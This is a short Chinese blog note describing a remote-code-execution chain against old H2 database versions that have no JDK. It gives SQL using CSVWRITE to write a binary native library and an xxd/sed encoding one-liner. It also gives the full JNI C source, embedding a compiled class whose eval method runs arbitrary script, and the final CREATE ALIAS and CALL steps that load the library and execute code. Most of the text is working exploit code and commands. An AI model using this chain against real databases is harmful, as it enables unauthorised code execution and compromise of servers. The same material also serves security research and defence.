Old-H2-Database-Exploit

今天看了篇文章,覺得還蠻有意思的記錄下作法

通常利用h2的作法大多數是使用CREATE ALIAS … AS …產生一個java裏的函式,但是這個指令依賴於javac,如果在某些場景裏沒有JDK,只有JRE,如何RCE呢

這個時刻就需求CREATE ALIAS … FOR …

When referencing a method, the class must already be compiled and included in the classpath where the database is running. Only static Java methods are supported; both the class and the method must be public.

顯然System.load(String)位於rt.jar中,并且也是static methods

接下來問題就是如何利用舊版本的h2寫入binary-safe的lib檔案

可能會首先想到如下的嘗試

SELECT FILE_WRITE('00000074000000650000007300000074', '/tmp/hello.txt');

無語的是FILE_WRITE在1.4.190才被加入

好在有CSVWRITE可以寫入一個CSV檔案,但是CSV的一些格式也會被寫入,csvOptions有個writeColumnHeader,可以禁止寫入對於我們來説無關的内容,可是writeColumnHeader是在1.3/1.4.177加入的

如果將csvOptions除了charsetString全體置空,僅僅使用column header去寫入,就可以到達要求了「類似這樣的作法其實在資安中很常見」

SELECT CSVWRITE('C:\Windows\Temp\test.bin', CONCAT('SELECT NULL "', CHAR(0x00),CHAR(0x01),CHAR(0x02)... , '"'), 'ISO-8859-1', '', '', '', '', '');
xxd -p -c 256 xxx.lib | sed -e 's/../),CHAR(0x&/g' -e 's/^),//' -e 's/$/)/' -e 's/CHAR(0x22)/&,&/g'

接下來我們的想法就是利用JNI,在JVM加入一個惡意類別,類似於這樣

public class JNIScriptEngine{
public static String eval(String script) throws Exception {
return new javax.script.ScriptEngineManager().getEngineFactories().get(0).getScriptEngine().eval(script).toString();
}
}

就可以在H2中拿到這個JNIScriptEngine,并呼叫惡意方法了

使用Java的話是這樣的

Class cls = Class.forName("java.lang.ClassLoader");
Method meth = cls.getDeclaredMethod("getSystemClassLoader", new Class[0]);
Object systemClassLoader = meth.invoke(null, new Object[0]);

meth = cls.getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class });
meth.setAccessible(true);
meth.invoke(systemClassLoader, new Object[] { jData, 0, jData.length });

對應於JNI原始碼

JNIEXPORT jint JNI_OnLoad(JavaVM* g_vm, void* reserved) {
// xxd -p -c 10000 JNIScriptEngine.class | sed -e 's/../0x&,/g' -e 's/^/char buf[] = {/' -e 's/,$/};/'
// public static JNIScriptEngine.eval(String js) : String
char buf[] = {0xca,0xfe,0xba,0xbe,0x00,0x00,0x00,0x34,0x00,0x33,0x0a,0x00,0x0b,0x00,0x1b,0x07,0x00,0x1c,0x0a,0x00,0x02,0x00,0x1b,0x0a,0x00,0x02,0x00,0x1d,0x0b,0x00,0x1e,0x00,0x1f,0x07,0x00,0x20,0x0b,0x00,0x06,0x00,0x21,0x0b,0x00,0x22,0x00,0x23,0x0a,0x00,0x0b,0x00,0x24,0x07,0x00,0x25,0x07,0x00,0x26,0x01,0x00,0x06,0x3c,0x69,0x6e,0x69,0x74,0x3e,0x01,0x00,0x03,0x28,0x29,0x56,0x01,0x00,0x04,0x43,0x6f,0x64,0x65,0x01,0x00,0x0f,0x4c,0x69,0x6e,0x65,0x4e,0x75,0x6d,0x62,0x65,0x72,0x54,0x61,0x62,0x6c,0x65,0x01,0x00,0x12,0x4c,0x6f,0x63,0x61,0x6c,0x56,0x61,0x72,0x69,0x61,0x62,0x6c,0x65,0x54,0x61,0x62,0x6c,0x65,0x01,0x00,0x04,0x74,0x68,0x69,0x73,0x01,0x00,0x11,0x4c,0x4a,0x4e,0x49,0x53,0x63,0x72,0x69,0x70,0x74,0x45,0x6e,0x67,0x69,0x6e,0x65,0x3b,0x01,0x00,0x04,0x65,0x76,0x61,0x6c,0x01,0x00,0x26,0x28,0x4c,0x6a,0x61,0x76,0x61,0x2f,0x6c,0x61,0x6e,0x67,0x2f,0x53,0x74,0x72,0x69,0x6e,0x67,0x3b,0x29,0x4c,0x6a,0x61,0x76,0x61,0x2f,0x6c,0x61,0x6e,0x67,0x2f,0x53,0x74,0x72,0x69,0x6e,0x67,0x3b,0x01,0x00,0x06,0x73,0x63,0x72,0x69,0x70,0x74,0x01,0x00,0x12,0x4c,0x6a,0x61,0x76,0x61,0x2f,0x6c,0x61,0x6e,0x67,0x2f,0x53,0x74,0x72,0x69,0x6e,0x67,0x3b,0x01,0x00,0x0a,0x45,0x78,0x63,0x65,0x70,0x74,0x69,0x6f,0x6e,0x73,0x07,0x00,0x27,0x01,0x00,0x0a,0x53,0x6f,0x75,0x72,0x63,0x65,0x46,0x69,0x6c,0x65,0x01,0x00,0x14,0x4a,0x4e,0x49,0x53,0x63,0x72,0x69,0x70,0x74,0x45,0x6e,0x67,0x69,0x6e,0x65,0x2e,0x6a,0x61,0x76,0x61,0x0c,0x00,0x0c,0x00,0x0d,0x01,0x00,0x20,0x6a,0x61,0x76,0x61,0x78,0x2f,0x73,0x63,0x72,0x69,0x70,0x74,0x2f,0x53,0x63,0x72,0x69,0x70,0x74,0x45,0x6e,0x67,0x69,0x6e,0x65,0x4d,0x61,0x6e,0x61,0x67,0x65,0x72,0x0c,0x00,0x28,0x00,0x29,0x07,0x00,0x2a,0x0c,0x00,0x2b,0x00,0x2c,0x01,0x00,0x20,0x6a,0x61,0x76,0x61,0x78,0x2f,0x73,0x63,0x72,0x69,0x70,0x74,0x2f,0x53,0x63,0x72,0x69,0x70,0x74,0x45,0x6e,0x67,0x69,0x6e,0x65,0x46,0x61,0x63,0x74,0x6f,0x72,0x79,0x0c,0x00,0x2d,0x00,0x2e,0x07,0x00,0x2f,0x0c,0x00,0x13,0x00,0x30,0x0c,0x00,0x31,0x00,0x32,0x01,0x00,0x0f,0x4a,0x4e,0x49,0x53,0x63,0x72,0x69,0x70,0x74,0x45,0x6e,0x67,0x69,0x6e,0x65,0x01,0x00,0x10,0x6a,0x61,0x76,0x61,0x2f,0x6c,0x61,0x6e,0x67,0x2f,0x4f,0x62,0x6a,0x65,0x63,0x74,0x01,0x00,0x13,0x6a,0x61,0x76,0x61,0x2f,0x6c,0x61,0x6e,0x67,0x2f,0x45,0x78,0x63,0x65,0x70,0x74,0x69,0x6f,0x6e,0x01,0x00,0x12,0x67,0x65,0x74,0x45,0x6e,0x67,0x69,0x6e,0x65,0x46,0x61,0x63,0x74,0x6f,0x72,0x69,0x65,0x73,0x01,0x00,0x12,0x28,0x29,0x4c,0x6a,0x61,0x76,0x61,0x2f,0x75,0x74,0x69,0x6c,0x2f,0x4c,0x69,0x73,0x74,0x3b,0x01,0x00,0x0e,0x6a,0x61,0x76,0x61,0x2f,0x75,0x74,0x69,0x6c,0x2f,0x4c,0x69,0x73,0x74,0x01,0x00,0x03,0x67,0x65,0x74,0x01,0x00,0x15,0x28,0x49,0x29,0x4c,0x6a,0x61,0x76,0x61,0x2f,0x6c,0x61,0x6e,0x67,0x2f,0x4f,0x62,0x6a,0x65,0x63,0x74,0x3b,0x01,0x00,0x0f,0x67,0x65,0x74,0x53,0x63,0x72,0x69,0x70,0x74,0x45,0x6e,0x67,0x69,0x6e,0x65,0x01,0x00,0x1d,0x28,0x29,0x4c,0x6a,0x61,0x76,0x61,0x78,0x2f,0x73,0x63,0x72,0x69,0x70,0x74,0x2f,0x53,0x63,0x72,0x69,0x70,0x74,0x45,0x6e,0x67,0x69,0x6e,0x65,0x3b,0x01,0x00,0x19,0x6a,0x61,0x76,0x61,0x78,0x2f,0x73,0x63,0x72,0x69,0x70,0x74,0x2f,0x53,0x63,0x72,0x69,0x70,0x74,0x45,0x6e,0x67,0x69,0x6e,0x65,0x01,0x00,0x26,0x28,0x4c,0x6a,0x61,0x76,0x61,0x2f,0x6c,0x61,0x6e,0x67,0x2f,0x53,0x74,0x72,0x69,0x6e,0x67,0x3b,0x29,0x4c,0x6a,0x61,0x76,0x61,0x2f,0x6c,0x61,0x6e,0x67,0x2f,0x4f,0x62,0x6a,0x65,0x63,0x74,0x3b,0x01,0x00,0x08,0x74,0x6f,0x53,0x74,0x72,0x69,0x6e,0x67,0x01,0x00,0x14,0x28,0x29,0x4c,0x6a,0x61,0x76,0x61,0x2f,0x6c,0x61,0x6e,0x67,0x2f,0x53,0x74,0x72,0x69,0x6e,0x67,0x3b,0x00,0x21,0x00,0x0a,0x00,0x0b,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x01,0x00,0x0c,0x00,0x0d,0x00,0x01,0x00,0x0e,0x00,0x00,0x00,0x2f,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x05,0x2a,0xb7,0x00,0x01,0xb1,0x00,0x00,0x00,0x02,0x00,0x0f,0x00,0x00,0x00,0x06,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x10,0x00,0x00,0x00,0x0c,0x00,0x01,0x00,0x00,0x00,0x05,0x00,0x11,0x00,0x12,0x00,0x00,0x00,0x09,0x00,0x13,0x00,0x14,0x00,0x02,0x00,0x0e,0x00,0x00,0x00,0x4c,0x00,0x02,0x00,0x01,0x00,0x00,0x00,0x22,0xbb,0x00,0x02,0x59,0xb7,0x00,0x03,0xb6,0x00,0x04,0x03,0xb9,0x00,0x05,0x02,0x00,0xc0,0x00,0x06,0xb9,0x00,0x07,0x01,0x00,0x2a,0xb9,0x00,0x08,0x02,0x00,0xb6,0x00,0x09,0xb0,0x00,0x00,0x00,0x02,0x00,0x0f,0x00,0x00,0x00,0x06,0x00,0x01,0x00,0x00,0x00,0x03,0x00,0x10,0x00,0x00,0x00,0x0c,0x00,0x01,0x00,0x00,0x00,0x22,0x00,0x15,0x00,0x16,0x00,0x00,0x00,0x17,0x00,0x00,0x00,0x04,0x00,0x01,0x00,0x18,0x00,0x01,0x00,0x19,0x00,0x00,0x00,0x02,0x00,0x1a};
size_t bufLen = sizeof(buf);

JNIEnv * g_env;
int getEnvStat = (*g_vm)->GetEnv(g_vm, (void **)&g_env, JNI_VERSION_1_6);
if (getEnvStat == JNI_EDETACHED) {
// printf("GetEnv: not attached\n");
if ((*g_vm)->AttachCurrentThread(g_vm, (void **) &g_env, NULL) != 0) {
// printf("Failed to attach\n");
}
} else if (getEnvStat == JNI_OK) {
// printf("GetEnv: everything's fine\n");
} else if (getEnvStat == JNI_EVERSION) {
// printf("GetEnv: version not supported\n");
}

jbyteArray jData = (*g_env)->NewByteArray(g_env, bufLen);
(*g_env)->SetByteArrayRegion(g_env, jData, 0, bufLen, (jbyte*)buf);


jclass cls;
jmethodID meth;
jobject obj;

cls = (*g_env)->FindClass(g_env, "java/lang/ClassLoader");

// static java.lang.ClassLoader.getSystemClassLoader() : java.lang.ClassLoader
meth = (*g_env)->GetStaticMethodID(g_env, cls, "getSystemClassLoader", "()Ljava/lang/ClassLoader;");
jobject systemClassLoader = (*g_env)->CallStaticObjectMethod(g_env, cls, meth);

// java.lang.ClassLoader.defineClass(byte[], int, int) : java.lang.Class
meth = (*g_env)->GetMethodID(g_env, cls, "defineClass", "([BII)Ljava/lang/Class;");

jobject loadedClass = (*g_env)->CallObjectMethod(g_env, systemClassLoader, meth, jData, 0, (jint)bufLen);

(*g_env)->DeleteLocalRef(g_env, jData);
(*g_vm)->DetachCurrentThread(g_vm);

return JNI_VERSION_1_6;
}

小tips: 可以使用下面的指令快速讀取jvm内部類型名

javap -s -p xxxx.class

所有步驟如下

-- write native library
SELECT CSVWRITE('C:\xxx.dll', CONCAT('SELECT NULL "', CHAR(0x00),CHAR(0x01),CHAR(0x02)... , '"'), 'ISO-8859-1', '', '', '', '', '');

-- load native library
CREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load";
CALL System_load('C:\xxx.dll');

-- evaluate script
CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";
CALL JNIScriptEngine_eval('7*191');

原文鏈接,同時我發現這篇文章也不錯,可以簡單瀏覽下鏈接